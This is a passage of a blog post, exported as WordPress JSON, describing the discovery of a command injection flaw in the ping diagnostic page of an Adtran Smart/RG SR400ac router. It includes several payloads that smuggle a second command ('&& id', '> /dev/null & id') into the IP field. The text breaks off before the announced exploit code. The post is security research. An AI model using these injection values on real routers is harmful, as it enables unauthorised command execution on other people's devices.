{"id":152,"date":"2023-10-19T02:03:57","date_gmt":"2023-10-19T02:03:57","guid":{"rendered":"https:\/\/thered0ne.com\/?p=152"},"modified":"2025-12-29T19:32:10","modified_gmt":"2025-12-29T19:32:10","slug":"smart-rg-router-not-that-smart","status":"publish","type":"post","link":"https:\/\/thered0ne.com\/?p=152","title":{"rendered":"Adtran &#8211; Smart\/RG Router Not That Smart !"},"content":{"rendered":"\n<p class=\"has-vivid-red-color has-text-color wp-block-paragraph\"><strong>Disclaimer<\/strong>: The first thing I will tell you is any actions made by using the code contained in this article are solely your responsibility not mine. This article is written to show you only my methodology, how do I approach routers for finding vulnerabilities and not how to hack into someone&#8217;s router. <\/p>\n\n\n<div class=\"wp-block-image is-resized is-style-rounded\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"730\" height=\"730\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/wp8205270-edited.jpg\" alt=\"\" class=\"wp-image-199\" style=\"aspect-ratio:1;width:328px;height:auto\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/wp8205270-edited.jpg 730w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/wp8205270-edited-300x300.jpg 300w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/wp8205270-edited-150x150.jpg 150w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/wp8205270-edited-160x160.jpg 160w\" sizes=\"auto, (max-width: 730px) 100vw, 730px\" \/><\/figure>\n<\/div>\n\n\n<h2 class=\"wp-block-heading\"><strong>$ Introduction:<\/strong> <\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Hello again in this new article. I cooked something special this time ! I found a 0day !<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This will be about a specific router called Smart\/RG manufactured by <strong>AdTran <\/strong>company. This device uses the open source OpenWRT project. What I understood is each ISP can do whatever they want with their equipments. My ISP implemented the OpenWrt in their solutions and they changed\/added some features for managing the router, monitoring, remote access and logging&#8230; <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">I will show in this article how I managed to exploit a vulnerability in the router and how I deal with embedded devices in general&#8230;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>$ <\/strong>Goals:<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Throughout this article, you will understand how:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>I found the vulnerability <strong>Command injection<\/strong><\/li>\n\n\n\n<li>I analyzed the router for credentials \/ Backdoors \/ Hidden Users.<\/li>\n\n\n\n<li>JUCI \/ LUCI \/ UCI \/ UBUS \/ RPCD \/ JSON-RPC works.<\/li>\n\n\n\n<li><strong>Netdata <\/strong>helped me escalate the vulnerability.<\/li>\n\n\n\n<li>I build the exploit code.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>$ <\/strong>The Raaaouter  baby ! <\/h2>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"300\" height=\"300\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-65.png\" alt=\"\" class=\"wp-image-159\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-65.png 300w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-65-150x150.png 150w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-65-160x160.png 160w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><figcaption class=\"wp-element-caption\"><em>Smart\/RG sr400ac\/ad<\/em><\/figcaption><\/figure>\n<\/div>\n\n\n<h4 class=\"wp-block-heading\"><strong>A description from the manufacturer:<\/strong><\/h4>\n\n\n\n<div class=\"wp-block-group\"><div class=\"wp-block-group__inner-container is-layout-constrained wp-block-group-is-layout-constrained\">\n<p class=\"wp-block-paragraph\">T<em>he SR400ac is a carrier-grade Ethernet router, equipped with a Gigabit Ethernet WAN port, a Dual-Band Wi-Fi Access Point using the latest 802.11ac technology, and four Gigabit Ethernet ports for LAN connection.  <\/em>                                   <\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>The SR400ac&#8217;s Dual-Band Wi-Fi technology simultaneously uses both the 2.4GHz and 5GHz bands via six internal high-gain antennas fed by six individual high-power amplifiers.<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Coupled with the SmartRG AccuBeam technology, the SR400ac delivers high wireless speeds as well as whole-home coverage, even in periods of heavy network use.<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Regardless of your IPTV middleware platform, the SR400ac comes fully equipped for the task, with features such as IGMPv2\/v3\/MLD Snooping and Proxy, Advanced Multicast traffic handling, and dynamic\/static VLAN mapping\/tagging. The SR400ac assures Quality of Service is maintained in the triple play environment, delivering a high quality UHD IPTV experience.<\/em><\/p>\n<\/div><\/div>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The hardware seems pretty good right ? but everything is about the software though. Don&#8217;t be fooled by the surface ! Let&#8217;s look under the hood:<\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><strong>User Interface:   <\/strong>   <\/h4>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"600\" height=\"582\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-66.png\" alt=\"\" class=\"wp-image-160\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-66.png 600w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-66-300x291.png 300w\" sizes=\"auto, (max-width: 600px) 100vw, 600px\" \/><figcaption class=\"wp-element-caption\"><em>Login page<\/em><\/figcaption><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"544\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-67-1024x544.png\" alt=\"\" class=\"wp-image-161\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-67-1024x544.png 1024w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-67-300x159.png 300w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-67-768x408.png 768w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-67-1536x816.png 1536w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-67.png 1981w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em>Dashboard<\/em><\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">To be honest, I like the UI is pretty well done and it gives you all the details about your traffic. The dashboard you&#8217;re seeing is a from an open source project called <strong>Netdata<\/strong>. <strong>Netdata <\/strong>is designed to collect real-time metrics, such as CPU Usage &#8230; Well all activities and display them in intuitive way.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"542\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-68-1024x542.png\" alt=\"\" class=\"wp-image-162\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-68-1024x542.png 1024w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-68-300x159.png 300w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-68-768x407.png 768w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-68-1536x813.png 1536w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-68.png 1568w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">I admit it, it&#8217;s a pretty UI they have. However,  this <strong>Netdata <\/strong>dashboard helped me a lot to escalate my vulnerability !<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>$ <\/strong>The vulnerability ! <\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">This is getting interesting ! If you are familiar with hacking especially hacking IoT devices or routers, you will know that most hackers are not interested in client-side attacks such as XSS, CSRF&#8230; But rather in RCEs or Hardware hacking. The common one is to root the device to find internal vulnerabilities like the one I found: <strong>Command Injection<\/strong>. Of course you can find all theses mentioned vulnerabilities but most hackers will search first for the ones that have a great impact.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">In the world of IoT there are other ways of hacking, doing it the hard way: It&#8217;s called <strong>&#8220;rooting the device&#8221;<\/strong>. What you do is you open the device up and you search for a two specific connectors\/ports:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>UART<\/li>\n\n\n\n<li>JTAG<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">For UART (Universal asynchronous receiver-transmitter) is a serial communication in which the data will be sent bit by bit.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"824\" height=\"384\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-69.png\" alt=\"\" class=\"wp-image-164\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-69.png 824w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-69-300x140.png 300w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-69-768x358.png 768w\" sizes=\"auto, (max-width: 824px) 100vw, 824px\" \/><figcaption class=\"wp-element-caption\"><em>UART data frame<\/em><\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"790\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-70.png\" alt=\"\" class=\"wp-image-165\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-70.png 1024w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-70-300x231.png 300w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-70-768x593.png 768w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\">UART<em> connector<\/em><\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Is really easy to root these device by just using an Arduino or a serial module via USB. The most of time this is my last resort when I can&#8217;t find the firmware in internet or a user which allows to me be root on my device that I bought.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The second port is<strong> JTAG<\/strong> (Joint Test Action Group). This JTAG is mainly used to verify and testing printed circuit boards to see if there isn&#8217;t any bug or something that can crash the system. However, since this port is kept after the manufacture, hackers use it to execute command too but not for testing but for extracting the firmware, change it or to understand better how the device work for further vulnerabilities.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"403\" height=\"280\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-71.png\" alt=\"\" class=\"wp-image-166\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-71.png 403w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-71-300x208.png 300w\" sizes=\"auto, (max-width: 403px) 100vw, 403px\" \/><figcaption class=\"wp-element-caption\"><em>JTAG connector<\/em><\/figcaption><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">Enough of electronic stuff !  Let&#8217;s go to main subject&#8230; \ud83d\ude42<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">There are numerous topics related to hardware hacking that are beyond the scope of this article. To delve deeper, simply search &#8216;UART hardware hacking&#8217; in your preferred search engine and explore the wealth of information available.<\/p>\n\n\n<div class=\"wp-block-image is-resized\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"498\" height=\"410\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/lets-go.gif\" alt=\"\" class=\"wp-image-217\"\/><\/figure>\n<\/div>\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-default\"\/>\n\n\n\n<p class=\"wp-block-paragraph\">Let&#8217;s go back to our router, shall we?<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"369\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-72-1024x369.png\" alt=\"\" class=\"wp-image-168\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-72-1024x369.png 1024w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-72-300x108.png 300w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-72-768x276.png 768w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-72-1536x553.png 1536w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-72.png 1939w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em>Diagnostic page<\/em><\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">This is where every researcher go first. That&#8217;s what I did too I&#8217;m no exception at all. If you are familiar with this, you will know surely what&#8217;s coming next. If you don&#8217;t know, that&#8217;s okay ! That&#8217;s the purpose of this article \ud83d\ude09<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><br>Running the ping command in the usual manner yields the following result:<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"756\" height=\"500\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-73.png\" alt=\"\" class=\"wp-image-169\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-73.png 756w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-73-300x198.png 300w\" sizes=\"auto, (max-width: 756px) 100vw, 756px\" \/><figcaption class=\"wp-element-caption\"><em>Ping command<\/em><\/figcaption><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">The trick here is the IP is concatenated with a real <strong>ping<\/strong> command in the router&#8217;s OS. Our goal is to inject another command along with the ping command and execute them both.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">I tried  to inject &#8220;;&#8221; but it didn&#8217;t work. It just didn&#8217;t execute. No error, nothing.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"660\" height=\"291\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-74.png\" alt=\"\" class=\"wp-image-170\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-74.png 660w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-74-300x132.png 300w\" sizes=\"auto, (max-width: 660px) 100vw, 660px\" \/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">I tried different combinations such as :<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#272822\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" style=\"color:#F8F8F2;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>; id ;\n\n| ls \/;\n\n|| ls \/;\n<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki monokai\" style=\"background-color: #272822\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #F8F8F2\">; <\/span><span style=\"color: #A6E22E\">id<\/span><span style=\"color: #F8F8F2\"> ;<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #F92672\">|<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">ls<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #E6DB74\">\/<\/span><span style=\"color: #F8F8F2\">;<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #F92672\">||<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">ls<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #E6DB74\">\/<\/span><span style=\"color: #F8F8F2\">;<\/span><\/span>\n<span class=\"line\"><\/span><\/code><\/pre><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">By trying different payloads, I finally found a way to make it work, is by using:<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#272822\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" style=\"color:#F8F8F2;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>8.8.8.8 &amp;&amp; id\n\n# or\n\n8.8.8.8 -c 1 &amp; id<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki monokai\" style=\"background-color: #272822\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #A6E22E\">8.8.8.8<\/span><span style=\"color: #F8F8F2\"> &amp;&amp; <\/span><span style=\"color: #A6E22E\">id<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #88846F\"># or<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #A6E22E\">8.8.8.8<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #AE81FF\">-c<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #AE81FF\">1<\/span><span style=\"color: #F8F8F2\"> &amp; <\/span><span style=\"color: #A6E22E\">id<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"680\" height=\"461\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-75.png\" alt=\"\" class=\"wp-image-171\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-75.png 680w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-75-300x203.png 300w\" sizes=\"auto, (max-width: 680px) 100vw, 680px\" \/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">So I tried to optimize my command. To do so I redirect the ping output command to <strong>\/dev\/null<\/strong>. This is common thing in Linux if want to ignore the output of something the \/dev\/null is the system garbage.<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#272822\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" style=\"color:#F8F8F2;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>'' > \/dev\/null &amp; id<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki monokai\" style=\"background-color: #272822\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #A6E22E\">&#39;&#39;<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #F92672\">&gt;<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #E6DB74\">\/dev\/null<\/span><span style=\"color: #F8F8F2\"> &amp; <\/span><span style=\"color: #A6E22E\">id<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">By doing so, the ping command is redirected to a null output and it&#8217;s keeping only the result of our command:<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"710\" height=\"398\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-77.png\" alt=\"\" class=\"wp-image-174\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-77.png 710w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-77-300x168.png 300w\" sizes=\"auto, (max-width: 710px) 100vw, 710px\" \/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">Yeah ! Now is much cleaner and better ! <\/p>\n\n\n<div class=\"wp-block-image is-resized\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"498\" height=\"498\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/yes-baby-1.gif\" alt=\"\" class=\"wp-image-220\"\/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">This is only our first stage. You might think, &#8216;Okay, but this is only possible when you have a login\/password for that router.&#8217; You&#8217;re right! Without first connecting to the router, you can&#8217;t perform this attack. Thus, this vulnerability is dependent on credentials, which doesn&#8217;t have a significant impact.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">You might say again, &#8216;Hey! You could stop at that point since many routers come with default credentials like admin\/admin!&#8217; That&#8217;s true to an extent; users often keep these defaults unchanged. But you know, why bother finding vulnerabilities then? We could search for routers using tools that do this for you. We&#8217;re not trying to hack routers to perform attacks on people; we are researchers \u2014 there&#8217;s a big difference. We are trying to delve as deeply as possible. So let&#8217;s continue.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>$ <\/strong>Analyzing The Router<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">After finding the vulnerability, I decided to find a way to exploit the router even if an admin has changed the router&#8217;s password. For that reason, I had to understand and read the files in the Router hoping to find any juicy information or credential that can lead to something greater. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">So the first thing I will do here is to get a shell from the router and perform a search in the filesystem.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">You will tell me you can connect using SSH. Yeah ! again you&#8217;re right ! But I don&#8217;t know why the SSH server can&#8217;t allow me to tap enter (Carriage\/Return) in the terminal. It&#8217;s really annoying to be honest. I don&#8217;t know if this is some kind of bug or something like that. Anyway, as always, let&#8217;s do it the hard way but before this, I don&#8217;t  know if you heard about OpenWRT or not ? A brief description will help you to get the idea:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&#8220;<strong>OpenWrt<\/strong>&nbsp;(from&nbsp;open wireless router) is an open-source project for&nbsp;<a href=\"https:\/\/en.wikipedia.org\/wiki\/Embedded_operating_system\">embedded operating systems<\/a>&nbsp;based on&nbsp;<a href=\"https:\/\/en.wikipedia.org\/wiki\/Linux_kernel\">Linux<\/a>, primarily used on&nbsp;<a href=\"https:\/\/en.wikipedia.org\/wiki\/Embedded_system\">embedded devices<\/a>&nbsp;to&nbsp;<a href=\"https:\/\/en.wikipedia.org\/wiki\/Router_(computing)\">route<\/a>&nbsp;network traffic. The main components are Linux,&nbsp;<a href=\"https:\/\/en.wikipedia.org\/wiki\/Util-linux\">util-linux<\/a>,&nbsp;<a href=\"https:\/\/en.wikipedia.org\/wiki\/Musl\">musl<\/a>,<sup><a href=\"https:\/\/en.wikipedia.org\/wiki\/OpenWrt#cite_note-4\">[4]<\/a><\/sup>&nbsp;and&nbsp;<a href=\"https:\/\/en.wikipedia.org\/wiki\/BusyBox\">BusyBox<\/a>. All components have been optimized to be small enough to fit into the limited storage and memory available in home routers.&#8221;<\/em><\/p>\n\n\n\n<p 